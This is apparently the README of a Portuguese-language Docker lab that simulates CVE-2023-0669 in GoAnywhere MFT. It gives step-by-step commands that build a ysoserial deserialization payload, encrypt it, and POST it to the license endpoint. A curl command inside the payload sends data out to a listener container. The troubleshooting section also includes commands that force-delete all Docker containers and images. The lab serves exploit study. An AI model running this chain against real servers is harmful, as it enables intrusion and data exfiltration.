zakaria-laouani/cve-2023-0669-simulationAmbiente de simulação para CVE-2023-0669 com contêineres Docker de atacante, servidor vulnerável e listener. Demonstra geração de exploit de desserialização, criptografia de payload e exfiltração de dados.
cve-2023-0669-simulation/ ├── docker-compose.yml ├── attacker/ │ ├── Dockerfile │ └── CVE_2023_0669_helper.java ├── vulnerable/ │ ├── Dockerfile │ └── VulnerableServer.java ├── listener/ │ ├── Dockerfile │ └── server.py └── received/ ← criado automaticamente (exfiltração)
docker-compose up --build
KeyError: 'ContainerConfig' ao executar docker compose upeste projeto requer:
docker compose down --remove-orphans
docker rm -f $(docker ps -aq)
docker rmi -f $(docker images -q)
Em seguida, reconstrua corretamente:
docker compose build --no-cache
docker compose up
docker exec -it attacker bash
java -jar ysoserial-all.jar CommonsCollections6 'curl -s http://listener:8080/receive -d "PWNED-CVE-2023-0669-simulation-$(date)"' > payload.ser
java CVE_2023_0669_helper payload.ser 1
curl -X POST http://vulnerable:8001/goanywhere/lic/accept
-d "encryptedLicenseResponseData=LA_CHAÎNE_BASE64_ICI"
-d "acceptLicense=true"
Você verá nos logs do listener (ou na pasta ./received no seu PC):
PWNED! Recebidos 42 bytes → PWNED-CVE-2023-0669-simulation-Sat 06 Dec 2025...